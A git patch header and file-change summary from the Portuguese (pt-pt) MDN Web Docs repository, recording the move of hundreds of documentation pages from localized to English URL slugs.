From 2c2df5ea01eb5cd8b9ea226b2869337e59c5fe3e Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 14:50:24 +0100 Subject: unslug pt-pt: move --- .../index.html" | 60 - .../index.html" | 111 - .../index.html" | 209 - files/pt-pt/componentes/index.html | 20 - .../index.html" | 5 - files/pt-pt/conflicting/glossary/api/index.html | 35 + .../learn/css/first_steps/how_css_works/index.html | 135 + .../index.html | 111 + files/pt-pt/conflicting/mdn/contribute/index.html | 94 + files/pt-pt/conflicting/web/api/index.html | 214 ++ .../conflicting/web/api/web_storage_api/index.html | 156 + .../conflicting/web/api/xmlhttprequest/index.html | 23 + .../reference/global_objects/number/index.html | 131 + .../reference/global_objects/object/index.html | 199 + .../web/progressive_web_apps/index.html | 62 + .../responsive_design_building_blocks/index.html | 156 + .../index.html | 35 + .../construir_uma_extens\303\243o/index.html" | 227 -- files/pt-pt/controles_xul/index.html | 145 - .../index.html | 148 - .../criando_um_visual_para_o_firefox/index.html | 34 - .../pt-pt/criar_uma_pele_para_o_firefox/index.html | 14 - .../desenhando_texto_usando_canvas/index.html | 57 - files/pt-pt/dhtml/index.html | 9 - files/pt-pt/dom/document.alinkcolor/index.html | 43 - files/pt-pt/dom/document.bgcolor/index.html | 55 - files/pt-pt/dom/document.cookie/index.html | 85 - .../dom/document.getelementsbyclassname/index.html | 69 - files/pt-pt/dom/dom_reference/index.html | 501 --- files/pt-pt/dom/element.appendchild/index.html | 31 - files/pt-pt/dom/element.clientleft/index.html | 47 - files/pt-pt/dom/element.clienttop/index.html | 38 - files/pt-pt/dom/element.clonenode/index.html | 55 - files/pt-pt/dom/element.insertbefore/index.html | 60 - files/pt-pt/dom/element/index.html | 573 --- files/pt-pt/dom/selection/index.html | 76 - files/pt-pt/dom/storage/index.html | 108 - files/pt-pt/dom_inspector/index.html | 67 - .../introduction_to_dom_inspector/index.html | 92 - "files/pt-pt/faq_extens\303\265es/index.html" | 51 - .../firefox_1.5_para_desenvolvedores/index.html | 25 - .../firefox_2_para_desenvolvedores/index.html | 93 - .../firefox_3.5_para_desenvolvedores/index.html | 260 -- .../firefox_3.6_para_desenvolvedores/index.html | 309 -- .../firefox_3_para_desenvolvedores/index.html | 81 - .../firefox_4_para_desenvolvedores/index.html | 656 ---- .../firefox_5_para_desenvolvedores/index.html | 113 - .../firefox_6_para_desenvolvedores/index.html | 249 -- files/pt-pt/games/index.html | 90 + files/pt-pt/games/tutorials/index.html | 25 + files/pt-pt/glossary/404/index.html | 18 + files/pt-pt/glossary/502/index.html | 23 + files/pt-pt/glossary/accessibility/index.html | 32 + files/pt-pt/glossary/ajax/index.html | 34 + files/pt-pt/glossary/argument/index.html | 25 + files/pt-pt/glossary/aria/index.html | 17 + files/pt-pt/glossary/bigint/index.html | 12 + .../block_cipher_mode_of_operation/index.html | 13 + files/pt-pt/glossary/boolean/index.html | 51 + files/pt-pt/glossary/browser/index.html | 110 + files/pt-pt/glossary/cache/index.html | 17 + files/pt-pt/glossary/cia/index.html | 17 + files/pt-pt/glossary/compile/index.html | 102 + files/pt-pt/glossary/crlf/index.html | 29 + files/pt-pt/glossary/cross_axis/index.html | 72 + files/pt-pt/glossary/crud/index.html | 17 + files/pt-pt/glossary/dhtml/index.html | 9 + files/pt-pt/glossary/dom/index.html | 29 + files/pt-pt/glossary/ecma/index.html | 18 + files/pt-pt/glossary/element/index.html | 20 + files/pt-pt/glossary/engine/index.html | 18 + files/pt-pt/glossary/entity_header/index.html | 26 + files/pt-pt/glossary/favicon/index.html | 29 + files/pt-pt/glossary/flexbox/index.html | 78 + files/pt-pt/glossary/git/index.html | 18 + files/pt-pt/glossary/gzip_compression/index.html | 17 + files/pt-pt/glossary/html/index.html | 51 + files/pt-pt/glossary/hypertext/index.html | 120 + files/pt-pt/glossary/iana/index.html | 18 + files/pt-pt/glossary/idempotent/index.html | 46 + files/pt-pt/glossary/index.html | 40 + files/pt-pt/glossary/indexeddb/index.html | 18 + files/pt-pt/glossary/isp/index.html | 21 + files/pt-pt/glossary/lazy_load/index.html | 17 + files/pt-pt/glossary/localization/index.html | 47 + files/pt-pt/glossary/main_axis/index.html | 50 + files/pt-pt/glossary/metadata/index.html | 25 + files/pt-pt/glossary/mitm/index.html | 113 + files/pt-pt/glossary/node.js/index.html | 110 + files/pt-pt/glossary/object/index.html | 22 + files/pt-pt/glossary/object_reference/index.html | 20 + files/pt-pt/glossary/oop/index.html | 21 + files/pt-pt/glossary/ota/index.html | 21 + files/pt-pt/glossary/polyfill/index.html | 16 + .../prototype-based_programming/index.html | 17 + files/pt-pt/glossary/scm/index.html | 21 + files/pt-pt/glossary/server/index.html | 25 + files/pt-pt/glossary/signature/index.html | 96 + files/pt-pt/glossary/tag/index.html | 25 + files/pt-pt/glossary/utf-8/index.html | 23 + files/pt-pt/glossary/value/index.html | 20 + files/pt-pt/glossary/viewport/index.html | 26 + files/pt-pt/glossary/visual_viewport/index.html | 22 + files/pt-pt/glossary/webextensions/index.html | 19 + files/pt-pt/glossary/webrtc/index.html | 32 + files/pt-pt/glossary/webvtt/index.html | 30 + files/pt-pt/glossary/whatwg/index.html | 24 + files/pt-pt/glossary/world_wide_web/index.html | 42 + files/pt-pt/glossary/wrapper/index.html | 32 + files/pt-pt/glossary/xhtml/index.html | 169 + files/pt-pt/glossary/xml/index.html | 18 + "files/pt-pt/gloss\303\241rio/404/index.html" | 18 - "files/pt-pt/gloss\303\241rio/502/index.html" | 23 - .../gloss\303\241rio/acessibilidade/index.html" | 32 - "files/pt-pt/gloss\303\241rio/ajax/index.html" | 34 - "files/pt-pt/gloss\303\241rio/api/index.html" | 35 - .../pt-pt/gloss\303\241rio/argumento/index.html" | 25 - "files/pt-pt/gloss\303\241rio/aria/index.html" | 17 - .../pt-pt/gloss\303\241rio/assinatura/index.html" | 96 - "files/pt-pt/gloss\303\241rio/bigint/index.html" | 12 - "files/pt-pt/gloss\303\241rio/booliano/index.html" | 51 - .../cabe\303\247alho_de_entidade/index.html" | 26 - "files/pt-pt/gloss\303\241rio/cache/index.html" | 17 - "files/pt-pt/gloss\303\241rio/cia/index.html" | 17 - "files/pt-pt/gloss\303\241rio/compilar/index.html" | 102 - .../gloss\303\241rio/compressao_gzip/index.html" | 17 - "files/pt-pt/gloss\303\241rio/crlf/index.html" | 29 - "files/pt-pt/gloss\303\241rio/crud/index.html" | 17 - "files/pt-pt/gloss\303\241rio/dom/index.html" | 29 - "files/pt-pt/gloss\303\241rio/ecma/index.html" | 18 - .../gloss\303\241rio/eixo_principal/index.html" | 50 - .../gloss\303\241rio/eixo_transversal/index.html" | 72 - "files/pt-pt/gloss\303\241rio/elemento/index.html" | 20 - "files/pt-pt/gloss\303\241rio/etiqueta/index.html" | 25 - .../gloss\303\241rio/extensoes_da_web/index.html" | 19 - "files/pt-pt/gloss\303\241rio/favicon/index.html" | 29 - "files/pt-pt/gloss\303\241rio/flexbox/index.html" | 78 - "files/pt-pt/gloss\303\241rio/gcs/index.html" | 21 - "files/pt-pt/gloss\303\241rio/git/index.html" | 18 - .../pt-pt/gloss\303\241rio/hipertexto/index.html" | 120 - "files/pt-pt/gloss\303\241rio/html/index.html" | 51 - "files/pt-pt/gloss\303\241rio/iana/index.html" | 18 - .../pt-pt/gloss\303\241rio/idempotent/index.html" | 46 - "files/pt-pt/gloss\303\241rio/index.html" | 40 - .../pt-pt/gloss\303\241rio/indexeddb/index.html" | 18 - "files/pt-pt/gloss\303\241rio/isp/index.html" | 21 - .../pt-pt/gloss\303\241rio/lazy_load/index.html" | 17 - .../pt-pt/gloss\303\241rio/metadados/index.html" | 25 - "files/pt-pt/gloss\303\241rio/mitm/index.html" | 113 - .../index.html" | 13 - "files/pt-pt/gloss\303\241rio/motor/index.html" | 18 - .../pt-pt/gloss\303\241rio/navegador/index.html" | 110 - "files/pt-pt/gloss\303\241rio/node.js/index.html" | 110 - "files/pt-pt/gloss\303\241rio/objeto/index.html" | 22 - "files/pt-pt/gloss\303\241rio/oop/index.html" | 21 - "files/pt-pt/gloss\303\241rio/ota/index.html" | 21 - "files/pt-pt/gloss\303\241rio/polyfill/index.html" | 16 - .../prototype-based_programming/index.html" | 17 - .../referencia_de_objeto/index.html" | 20 - "files/pt-pt/gloss\303\241rio/servidor/index.html" | 25 - "files/pt-pt/gloss\303\241rio/utf-8/index.html" | 23 - "files/pt-pt/gloss\303\241rio/valor/index.html" | 20 - "files/pt-pt/gloss\303\241rio/viewport/index.html" | 26 - .../gloss\303\241rio/viewport_visual/index.html" | 22 - "files/pt-pt/gloss\303\241rio/webrtc/index.html" | 32 - "files/pt-pt/gloss\303\241rio/webvtt/index.html" | 30 - "files/pt-pt/gloss\303\241rio/whatwg/index.html" | 24 - .../gloss\303\241rio/world_wide_web/index.html" | 42 - "files/pt-pt/gloss\303\241rio/wrapper/index.html" | 32 - "files/pt-pt/gloss\303\241rio/xml/index.html" | 18 - files/pt-pt/guia_do_desenvolvedor/index.html | 101 - files/pt-pt/htmltodelete/element/figure/index.html | 56 - .../index.html" | 26 - .../javascript_orientado_a_objetos/index.html | 228 -- files/pt-pt/javascript_shells/index.html | 29 - files/pt-pt/jogos/index.html | 90 - files/pt-pt/jogos/tutoriais/index.html | 25 - files/pt-pt/learn/accessibility/index.html | 86 + files/pt-pt/learn/acessibilidade/index.html | 86 - .../a_web_e_os_padroes_da_web/index.html | 174 - .../apresentacao_do_meu_site/index.html | 112 - .../como_funciona_a_web/index.html | 112 - .../learn/comecar_com_a_web/css_basico/index.html | 293 -- .../elementar_de_javascript/index.html | 413 -- .../comecar_com_a_web/html_basicos/index.html | 237 -- files/pt-pt/learn/comecar_com_a_web/index.html | 65 - .../installing_basic_software/index.html | 165 - .../lidar_com_ficheiros/index.html | 119 - .../publicar_o_seu_site_da_web/index.html | 125 - .../how_does_the_internet_work/index.html | 100 + files/pt-pt/learn/common_questions/index.html | 131 + .../index.html | 122 + .../set_up_a_local_testing_server/index.html | 182 + .../what_is_a_domain_name/index.html | 234 ++ .../common_questions/what_is_a_url/index.html | 231 ++ .../what_is_a_web_server/index.html | 198 + .../cascade_and_inheritance/index.html | 135 + files/pt-pt/learn/css/building_blocks/index.html | 359 ++ .../learn/css/building_blocks/selectors/index.html | 208 + .../css/building_blocks/styling_tables/index.html | 655 ++++ .../building_blocks/values_and_units/index.html | 341 ++ files/pt-pt/learn/css/css_layout/index.html | 453 +++ files/pt-pt/learn/css/estilo_de_texto/index.html | 136 - .../first_steps/how_css_is_structured/index.html | 188 + .../learn/css/first_steps/how_css_works/index.html | 130 + files/pt-pt/learn/css/first_steps/index.html | 92 + files/pt-pt/learn/css/howto/css_faq/index.html | 229 ++ files/pt-pt/learn/css/howto/faq_de_css/index.html | 229 -- .../learn/css/howto/generated_content/index.html | 188 + .../learn/css/styling_text/fundamentals/index.html | 158 + files/pt-pt/learn/css/styling_text/index.html | 136 + .../css/styling_text/styling_lists/index.html | 362 ++ .../css_basics/index.html | 293 ++ .../dealing_with_files/index.html | 119 + .../how_the_web_works/index.html | 112 + .../html_basics/index.html | 237 ++ .../learn/getting_started_with_the_web/index.html | 65 + .../installing_basic_software/index.html | 165 + .../javascript_basics/index.html | 413 ++ .../publishing_your_website/index.html | 125 + .../the_web_and_web_standards/index.html | 174 + .../what_will_your_website_look_like/index.html | 112 + .../index.html | 203 - files/pt-pt/learn/html/como/index.html | 153 - .../add_a_hit_map_on_top_of_an_image/index.html | 203 + files/pt-pt/learn/html/howto/index.html | 153 + .../criar_hiperligacoes/index.html | 331 -- .../demarcar_uma_carta/index.html | 104 - .../introducao_ao_html/depurar_html/index.html | 186 - .../estrutura_documento_website/index.html | 292 -- .../estruturar_pagina_de_conteudo/index.html | 107 - .../formatacao_avancada_texto/index.html | 691 ---- .../pt-pt/learn/html/introducao_ao_html/index.html | 64 - .../introducao_ao_html/iniciacao_html/index.html | 612 --- .../os_metadados_de_head_em_html/index.html | 346 -- .../advanced_text_formatting/index.html | 691 ++++ .../creating_hyperlinks/index.html | 331 ++ .../introduction_to_html/debugging_html/index.html | 186 + .../document_and_website_structure/index.html | 292 ++ .../getting_started/index.html | 612 +++ .../learn/html/introduction_to_html/index.html | 64 + .../marking_up_a_letter/index.html | 104 + .../structuring_a_page_of_content/index.html | 107 + .../the_head_metadata_in_html/index.html | 346 ++ .../learn/html/multimedia_and_embedding/index.html | 69 + .../mozilla_splash_page/index.html | 194 + .../pagina_de_boas_vindas_da_mozilla/index.html | 194 - .../video_and_audio_content/index.html | 369 ++ .../conteudo_de_audio_e_v\303\255deo/index.html" | 369 -- .../learn/html/multimedia_e_integracao/index.html | 69 - files/pt-pt/learn/html/tables/advanced/index.html | 538 +++ .../index.html | 151 - files/pt-pt/learn/html/tables/avancada/index.html | 538 --- files/pt-pt/learn/html/tables/basicos/index.html | 650 ---- files/pt-pt/learn/html/tables/basics/index.html | 650 ++++ .../html/tables/structuring_planet_data/index.html | 151 + .../manipulating_documents/index.html | 160 + .../pt-pt/learn/javascript/first_steps/index.html | 143 + .../learn/javascript/primeiros_passos/index.html | 143 - files/pt-pt/learn/no-servidor/django/index.html | 68 - .../index.html | 406 -- .../learn/no-servidor/express_nodejs/index.html | 76 - .../express_nodejs/introduction/index.html | 539 --- files/pt-pt/learn/no-servidor/index.html | 57 - .../servidor_node_sem_framework/index.html | 94 - .../como_funciona_a_internet/index.html | 100 - .../index.html | 182 - files/pt-pt/learn/questoes_comuns/index.html | 131 - .../o_que_e_um_nome_de_dominio/index.html | 234 -- .../o_que_e_um_servidor_da_web/index.html | 198 - .../questoes_comuns/o_que_e_um_url/index.html | 231 -- .../index.html | 122 - files/pt-pt/learn/server-side/django/index.html | 68 + .../development_environment/index.html | 406 ++ .../learn/server-side/express_nodejs/index.html | 76 + .../express_nodejs/introduction/index.html | 539 +++ files/pt-pt/learn/server-side/index.html | 57 + .../node_server_without_framework/index.html | 94 + .../cross_browser_testing/accessibility/index.html | 607 +++ .../cross_browser_testing/index.html | 47 + .../acessibilidade/index.html | 607 --- .../teste_cruzado_de_navegador/index.html | 47 - .../index.html" | 24 - "files/pt-pt/localiza\303\247\303\243o/index.html" | 47 - .../manipuladores_de_protocolo_web/index.html | 97 - files/pt-pt/mdn/about/index.html | 127 + files/pt-pt/mdn/at_ten/history_of_mdn/index.html | 225 ++ files/pt-pt/mdn/at_ten/index.html | 39 + .../conversa\303\247\303\265es/index.html" | 58 - files/pt-pt/mdn/comunidade/doc_sprints/index.html | 125 - files/pt-pt/mdn/comunidade/index.html | 56 - .../o_que_est\303\241_a_acontecer/index.html" | 42 - .../comunidade/trabalhar_em_comunidade/index.html | 102 - .../index.html | 36 - .../index.html | 47 - .../howto/como_efetuar_revisao_tecnica/index.html | 65 - .../index.html | 114 - .../index.html | 114 - .../howto/comunicar_um_problema/index.html | 24 - .../convert_code_samples_to_be_live/index.html | 36 + .../howto/create_and_edit_pages/index.html | 181 + .../howto/criar_e_editar_paginas/index.html | 181 - .../howto/criar_uma_conta_mdn/index.html | 41 - .../pt-pt/mdn/contribute/howto/etiqueta/index.html | 375 -- .../fazer_revis\303\243o_editorial/index.html" | 56 - .../howto/marcar_paginas_javascript/index.html | 75 - .../howto/participar_testes_beta/index.html | 52 - .../contribute/howto/report_a_problem/index.html | 24 + files/pt-pt/mdn/contribute/howto/tag/index.html | 375 ++ .../write_a_new_entry_in_the_glossary/index.html | 114 + .../write_an_api_reference/sidebars/index.html | 109 + files/pt-pt/mdn/editor/basicos/index.html | 72 - files/pt-pt/mdn/editor/index.html | 20 - .../guidelines/convencoes_definicoes/index.html | 201 - .../guidelines/conventions_definitions/index.html | 201 + .../guidelines/does_this_belong_on_mdn/index.html | 200 + .../guia_de_estilo_de_escrita/index.html | 667 ---- .../mdn/guidelines/isto_pertence_a_mdn/index.html | 200 - .../mdn/guidelines/writing_style_guide/index.html | 667 ++++ files/pt-pt/mdn/kuma/index.html | 24 - files/pt-pt/mdn/sobre/index.html | 127 - .../index.html | 109 - .../pt-pt/mdn/structures/api_references/index.html | 58 - .../index.html | 162 - .../pt-pt/mdn/structures/exemplos_live/index.html | 248 -- files/pt-pt/mdn/structures/live_samples/index.html | 248 ++ .../edi\303\247\303\243o_de_modelo/index.html" | 12 - files/pt-pt/mdn/tools/vigiar_pagina/index.html | 49 - files/pt-pt/mdn/troubleshooting/index.html | 71 - files/pt-pt/mdn/yari/index.html | 24 + .../mdn_at_ten/contribuir_para_mdn/index.html | 94 - files/pt-pt/mdn_at_ten/historia_da_mdn/index.html | 225 -- files/pt-pt/mdn_at_ten/index.html | 39 - .../index.html | 21 - .../a_sua_primeira_extensao/index.html | 153 - .../a_sua_segunda_extensao/index.html | 460 --- .../anatomia_de_uma_extensao/index.html | 135 - .../anatomy_of_a_webextension/index.html | 135 + .../webextensions/api/armazenamento/index.html | 105 - .../webextensions/api/devtools.panels/index.html | 103 - .../webextensions/api/devtools/panels/index.html | 103 + .../add-ons/webextensions/api/storage/index.html | 105 + .../index.html | 159 - .../browser_support_for_javascript_apis/index.html | 19 + .../webextensions/content_scripts/index.html | 446 +++ .../index.html | 81 - .../webextensions/dubla_padr\303\265es/index.html" | 430 --- .../add-ons/webextensions/e_a_seguir/index.html | 60 - .../add-ons/webextensions/examples/index.html | 28 + .../webextensions/exemplos_extensoes/index.html | 28 - .../extending_the_developer_tools/index.html | 156 + .../extennsoesweb_e_a_id_do_extra/index.html | 78 - .../index.html" | 156 - .../instalacao_temporaria_no_firefox/index.html | 50 - .../intercept_http_requests/index.html | 160 + .../interceptar_pedidos_http/index.html | 160 - .../acoes_pagina/index.html | 50 - .../a\303\247\303\243o_navegador/index.html" | 50 - .../barras_laterais/index.html | 57 - .../devtools_panels/index.html | 62 - .../estilos_de_navegador/index.html | 453 --- .../interface_do_utilizador/index.html | 93 - .../itens_do_menu_de_contexto/index.html | 51 - .../notificacoes/index.html | 50 - .../interface_do_utilizador/omnibox/index.html | 70 - .../options_pages/index.html | 64 - .../paginas_de_extens\303\243o/index.html" | 64 - .../interface_do_utilizador/popups/index.html | 60 - .../webextensions/manifest.json/icones/index.html | 78 - .../webextensions/manifest.json/icons/index.html | 78 + .../webextensions/match_patterns/index.html | 430 +++ .../o_que_sao_webextensions/index.html | 59 - .../primeiros_passos_com_web-ext/index.html | 304 -- .../publicar_a_sua_extensao/index.html | 62 - .../webextensions/scripts_conteudo/index.html | 446 --- .../suporte_navegador_apis_javascript/index.html | 19 - .../trasnsferir_extensao_google_chrome/index.html | 22 - .../user_interface/browser_action/index.html | 50 + .../user_interface/browser_styles/index.html | 453 +++ .../user_interface/context_menu_items/index.html | 51 + .../user_interface/devtools_panels/index.html | 62 + .../user_interface/extension_pages/index.html | 64 + .../webextensions/user_interface/index.html | 93 + .../user_interface/notifications/index.html | 50 + .../user_interface/omnibox/index.html | 70 + .../user_interface/options_pages/index.html | 64 + .../user_interface/page_actions/index.html | 50 + .../webextensions/user_interface/popups/index.html | 60 + .../user_interface/sidebars/index.html | 57 + .../what_are_webextensions/index.html | 59 + .../add-ons/webextensions/what_next_/index.html | 60 + .../your_first_webextension/index.html | 153 + .../your_second_webextension/index.html | 460 +++ files/pt-pt/mozilla/developer_guide/index.html | 101 + .../pt-pt/mozilla/firefox/releases/1.5/index.html | 25 + files/pt-pt/mozilla/firefox/releases/2/index.html | 93 + .../pt-pt/mozilla/firefox/releases/3.5/index.html | 260 ++ .../releases/3.5/updating_extensions/index.html | 111 + .../pt-pt/mozilla/firefox/releases/3.6/index.html | 309 ++ .../releases/3/site_compatibility/index.html | 77 + .../releases/3/updating_extensions/index.html | 209 + files/pt-pt/mozilla/firefox/releases/4/index.html | 656 ++++ files/pt-pt/mozilla/firefox/releases/5/index.html | 113 + files/pt-pt/mozilla/firefox/releases/6/index.html | 249 ++ .../index.html" | 77 - files/pt-pt/o_dom_e_o_javascript/index.html | 82 - .../index.html" | 60 + files/pt-pt/orphaned/componentes/index.html | 20 + .../index.html" | 5 + .../construir_uma_extens\303\243o/index.html" | 227 ++ files/pt-pt/orphaned/controles_xul/index.html | 145 + .../criando_um_visual_para_o_firefox/index.html | 34 + .../criar_uma_pele_para_o_firefox/index.html | 14 + .../desenhando_texto_usando_canvas/index.html | 57 + .../orphaned/faq_extens\303\265es/index.html" | 51 + .../firefox_3_para_desenvolvedores/index.html | 81 + .../index.html" | 26 + .../javascript_orientado_a_objetos/index.html | 228 ++ .../learn/html/forms/html5_updates/index.html | 72 + .../index.html" | 24 + .../manipuladores_de_protocolo_web/index.html | 97 + .../mdn/community/conversations/index.html | 58 + .../orphaned/mdn/community/doc_sprints/index.html | 125 + files/pt-pt/orphaned/mdn/community/index.html | 56 + .../mdn/community/whats_happening/index.html | 42 + .../mdn/community/working_in_community/index.html | 102 + .../contribute/howto/be_a_beta_tester/index.html | 52 + .../howto/create_an_mdn_account/index.html | 41 + .../howto/do_a_technical_review/index.html | 65 + .../howto/do_an_editorial_review/index.html | 56 + .../howto/set_the_summary_for_a_page/index.html | 47 + .../howto/tag_javascript_pages/index.html | 75 + .../index.html | 114 + files/pt-pt/orphaned/mdn/editor/basics/index.html | 72 + files/pt-pt/orphaned/mdn/editor/index.html | 20 + .../mdn/structures/api_references/index.html | 58 + .../what_does_an_api_reference_need/index.html | 162 + .../orphaned/mdn/tools/page_watching/index.html | 49 + .../orphaned/mdn/tools/template_editing/index.html | 12 + .../pt-pt/orphaned/mdn/troubleshooting/index.html | 71 + .../index.html | 21 + .../getting_started_with_web-ext/index.html | 304 ++ .../package_your_extension_/index.html | 62 + .../porting_a_google_chrome_extension/index.html | 22 + .../porting_a_legacy_firefox_add-on/index.html | 81 + .../temporary_installation_in_firefox/index.html | 50 + .../user_experience_best_practices/index.html | 159 + .../webextensions_and_the_add-on_id/index.html | 78 + .../pt-pt/orphaned/o_dom_e_o_javascript/index.html | 82 + .../index.html | 146 + .../pref\303\241cio/index.html" | 51 + .../refer\303\252ncia_jsdbgapi/index.html" | 22 + .../sobre_o_document_object_model/index.html | 26 + files/pt-pt/orphaned/tinderbox/index.html | 31 + files/pt-pt/orphaned/toolkit_api/index.html | 12 + .../tools/add-ons/dom_inspector/index.html | 67 + .../introduction_to_dom_inspector/index.html | 92 + files/pt-pt/orphaned/tools/add-ons/index.html | 15 + .../orphaned/transformar_xml_com_xslt/index.html | 145 + .../para_leitura_adicional/index.html | 206 + .../formas_de_desenho/index.html | 8 + files/pt-pt/orphaned/tutorial_do_canvas/index.html | 24 + .../index.html" | 23 + .../adicionando_bot\303\265es/index.html" | 77 + .../tutorial_xul/criando_uma_janela/index.html | 89 + files/pt-pt/orphaned/tutorial_xul/index.html | 52 + .../introdu\303\247\303\243o/index.html" | 61 + .../um_pequeno_exemplo_usando_ajax/index.html | 34 + .../index.html" | 99 + .../index.html" | 74 + .../pt-pt/orphaned/utilizando_meta_tags/index.html | 377 ++ files/pt-pt/orphaned/venkman/index.html | 57 + .../o_que_\303\251_css_question_/index.html" | 94 + .../guia/expressoes_e_operadores/index.html | 832 ++++ .../index.html" | 47 + .../orphaned/web/javascript/guia/sobre/index.html | 166 + .../index.html" | 547 +++ .../o_que_\303\251_o_javascript/index.html" | 13 + .../asyncfunction/prototype/index.html | 55 + .../pt-pt/orphaned/web/xslt/comunidade/index.html | 8 + files/pt-pt/orphaned/web/xslt/elementos/index.html | 59 + .../xforms/controles_customizados/index.html | 272 ++ files/pt-pt/orphaned/xforms/index.html | 68 + .../xforms_especiais_para_mozilla/index.html | 92 + files/pt-pt/orphaned/xml_no_mozilla/index.html | 236 ++ files/pt-pt/orphaned/xpath/eixos/index.html | 44 + .../xpath/fun\303\247\303\265es/index.html" | 47 + .../index.html | 146 - files/pt-pt/plugins/flash_para_html5/index.html | 82 - files/pt-pt/plugins/flash_to_html5/index.html | 82 + .../pref\303\241cio/index.html" | 51 - .../pt-pt/refer\303\252ncia_jsdbgapi/index.html" | 22 - .../pt-pt/sobre_o_document_object_model/index.html | 26 - files/pt-pt/tinderbox/index.html | 31 - files/pt-pt/toolkit_api/index.html | 12 - files/pt-pt/tools/add-ons/index.html | 15 - files/pt-pt/tools/atalhos_de_teclado/index.html | 1156 ------ files/pt-pt/tools/capturas_de_ecra/index.html | 42 - .../tools/configura\303\247\303\265es/index.html" | 244 -- .../consola_da_web/abertura_consola_web/index.html | 27 - files/pt-pt/tools/consola_da_web/ajuda/index.html | 142 - .../consola_da_web/atalhos_teclado/index.html | 14 - .../consola_da_web/dividir_consola/index.html | 20 - files/pt-pt/tools/consola_da_web/index.html | 48 - .../consola_da_web/mensagens_consola/index.html | 474 --- .../o_interprete_da_linha_de_comandos/index.html | 187 - .../tools/consola_da_web/rich_output/index.html | 77 - .../tools/debugger/demonstracao_iu/index.html | 94 - .../debugger/how_to/abrir_o_depurador/index.html | 18 - .../debugger/how_to/open_the_debugger/index.html | 18 + files/pt-pt/tools/debugger/ui_tour/index.html | 94 + .../tools/desempenho/arvore_de_chamada/index.html | 193 - files/pt-pt/tools/desempenho/cascata/index.html | 563 --- files/pt-pt/tools/desempenho/como_fazer/index.html | 64 - files/pt-pt/tools/desempenho/frame_rate/index.html | 60 - files/pt-pt/tools/desempenho/index.html | 185 - .../pt-pt/tools/editor_de_audio_da_web/index.html | 68 - files/pt-pt/tools/editor_de_estilo/index.html | 111 - .../tools/inspetor_de_armazenamento/index.html | 192 - files/pt-pt/tools/keyboard_shortcuts/index.html | 1156 ++++++ files/pt-pt/tools/memoria/index.html | 65 - files/pt-pt/tools/memory/index.html | 65 + .../tools/modo_de_desenho_adaptavel/index.html | 214 -- .../page_inspector/atalhos_de_teclado/index.html | 93 - .../tools/page_inspector/guia_de_iu/index.html | 101 - .../how_to/abrir_o_inspetor/index.html | 21 - .../page_inspector/how_to/edit_fonts/index.html | 28 + .../how_to/examinar_e_editar_css/index.html | 223 -- .../examinar_e_editar_o_modelo_de_caixa/index.html | 41 - .../how_to/examine_and_edit_css/index.html | 223 ++ .../examine_and_edit_the_box_model/index.html | 41 + .../inspecionar_e_selecionar_cores/index.html | 26 - .../how_to/inspect_and_select_colors/index.html | 26 + .../how_to/open_the_inspector/index.html | 21 + .../reposicao_de_elementos_na_pagina/index.html | 22 - .../reposition_elements_in_the_page/index.html | 22 + .../how_to/trabalhar_com_animacoes/index.html | 108 - .../how_to/use_the_inspector_api/index.html | 43 + .../how_to/utilizar_a_api_do_inspetor/index.html | 43 - .../how_to/visualizar_tipos_de_letra/index.html | 28 - .../how_to/work_with_animations/index.html | 108 + .../page_inspector/keyboard_shortcuts/index.html | 93 + .../pt-pt/tools/page_inspector/ui_tour/index.html | 101 + files/pt-pt/tools/performance/call_tree/index.html | 193 + .../pt-pt/tools/performance/frame_rate/index.html | 60 + .../pt-pt/tools/performance/guia_da_iu/index.html | 127 - files/pt-pt/tools/performance/how_to/index.html | 64 + files/pt-pt/tools/performance/index.html | 185 + files/pt-pt/tools/performance/ui_tour/index.html | 127 + files/pt-pt/tools/performance/waterfall/index.html | 563 +++ .../depuracao_remota_thunderbird/index.html | 44 - .../tools/remote_debugging/thunderbird/index.html | 44 + .../pt-pt/tools/responsive_design_mode/index.html | 214 ++ files/pt-pt/tools/settings/index.html | 244 ++ files/pt-pt/tools/storage_inspector/index.html | 192 + files/pt-pt/tools/style_editor/index.html | 111 + files/pt-pt/tools/taking_screenshots/index.html | 42 + files/pt-pt/tools/web_audio_editor/index.html | 68 + .../tools/web_console/console_messages/index.html | 474 +++ files/pt-pt/tools/web_console/helpers/index.html | 142 + files/pt-pt/tools/web_console/index.html | 48 + .../web_console/keyboard_shortcuts/index.html | 14 + .../pt-pt/tools/web_console/rich_output/index.html | 77 + .../tools/web_console/split_console/index.html | 20 + .../the_command_line_interpreter/index.html | 187 + files/pt-pt/tools/web_console/ui_tour/index.html | 27 + files/pt-pt/transformar_xml_com_xslt/index.html | 145 - .../para_leitura_adicional/index.html | 206 - .../formas_de_desenho/index.html | 8 - files/pt-pt/tutorial_do_canvas/index.html | 24 - .../index.html" | 23 - .../adicionando_bot\303\265es/index.html" | 77 - .../tutorial_xul/criando_uma_janela/index.html | 89 - files/pt-pt/tutorial_xul/index.html | 52 - .../introdu\303\247\303\243o/index.html" | 61 - .../um_pequeno_exemplo_usando_ajax/index.html | 34 - .../index.html" | 99 - .../index.html" | 74 - .../using_the_w3c_dom_level_1_core/index.html | 79 - files/pt-pt/utilizando_meta_tags/index.html | 377 -- files/pt-pt/venkman/index.html | 57 - .../usando_o_role_status/index.html | 82 - .../using_the_status_role/index.html | 82 + files/pt-pt/web/accessibility/aria/index.html | 122 + files/pt-pt/web/accessibility/index.html | 71 + files/pt-pt/web/acessibilidade/aria/index.html | 122 - files/pt-pt/web/acessibilidade/index.html | 71 - .../pt-pt/web/api/ambient_light_events/index.html | 70 + files/pt-pt/web/api/api_armazenamento/index.html | 128 - .../pt-pt/web/api/api_autenticacao_web/index.html | 149 - .../web/api/api_de_armazenamento_da_web/index.html | 156 - files/pt-pt/web/api/api_de_canvas/index.html | 247 -- .../web/api/api_de_canvas/tutorial/index.html | 60 - .../web/api/api_do_estado_da_bateria/index.html | 169 - .../index.html | 191 - .../web/api/api_transmissoes_multimedia/index.html | 211 - files/pt-pt/web/api/api_webrtc/index.html | 287 -- .../api/api_webrtc/tirar_fotografias/index.html | 222 -- files/pt-pt/web/api/battery_status_api/index.html | 169 + files/pt-pt/web/api/canvas_api/index.html | 247 ++ files/pt-pt/web/api/canvas_api/tutorial/index.html | 60 + files/pt-pt/web/api/document.dir/index.html | 71 - files/pt-pt/web/api/document/alinkcolor/index.html | 43 + files/pt-pt/web/api/document/bgcolor/index.html | 55 + files/pt-pt/web/api/document/cookie/index.html | 85 + files/pt-pt/web/api/document/dir/index.html | 71 + 